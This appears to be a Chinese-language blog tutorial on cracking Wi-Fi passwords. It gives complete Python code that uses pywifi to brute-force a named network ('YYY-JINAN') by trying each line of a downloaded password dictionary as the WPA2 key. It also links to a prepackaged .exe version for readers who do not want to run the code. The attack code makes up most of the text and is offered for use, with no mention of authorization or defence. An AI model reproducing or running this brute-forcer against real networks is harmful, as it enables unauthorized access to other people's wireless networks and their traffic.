Python破解wifi密码

1:下载破解字典口令集
下载地址
提取码:phbe
2:引入密码本路径和WiFi名称
import time # 时间
import pywifi # 破解wifi
# 密码本路径
path = r"C:\Users\Administrator\Desktop\passwd.txt"
# wifi名称
wifi_name = 'YYY-JINAN'
# 获取文本内容
file = open(path, "r", errors="ignore")
3:获取网卡信息并断开所有链接
wifi = pywifi.PyWiFi() # 抓取网卡接口
iface = wifi.interfaces()[0] # 抓取第一个无限网卡
def isno():
iface.disconnect() # 测试链接断开所有链接
# 测试网卡是否属于断开状态,
iface.status() in \
[0, 2]
4:连接验证
def test_connect(findStr): # 测试链接
profile = pywifi.Profile() # 创建wifi链接文件
profile.ssid = wifi_name # wifi名称
profile.auth = 0 # 网卡的开放,
profile.akm.append(4) # wifi加密算法
profile.cipher = 3 # 加密单元
profile.key = findStr # 密码
iface.remove_all_network_profiles() # 删除所有的wifi文件
tmp_profile = iface.add_network_profile(profile) # 设定新的链接文件
iface.connect(tmp_profile) # 链接
time.sleep(1)
if iface.status() == 4: # 判断是否连接上
isOK = True
else:
isOK = False
iface.disconnect() # 断开
time.sleep(1)
# 检查断开状态
assert iface.status() in \
[0, 2]
return isOK
5:逐行读取文本内容并执行
def readPassWord():
print("开始破解:")
while True:
try:
myStr = file.readline()
if not myStr:
break
bool1 = test_connect(myStr)
if bool1:
print("密码正确:", myStr)
break
else:
print("密码错误:" + myStr)
except:
continue
6:破解开始
isno()
readPassWord()
7:懒癌独家
如果您很懒,我已经将其打包到一个.exe程序中,下载并直接运行。
下载地址
提取码:q9vs
这件事更像是赢得彩票,如果输了就只能看脸。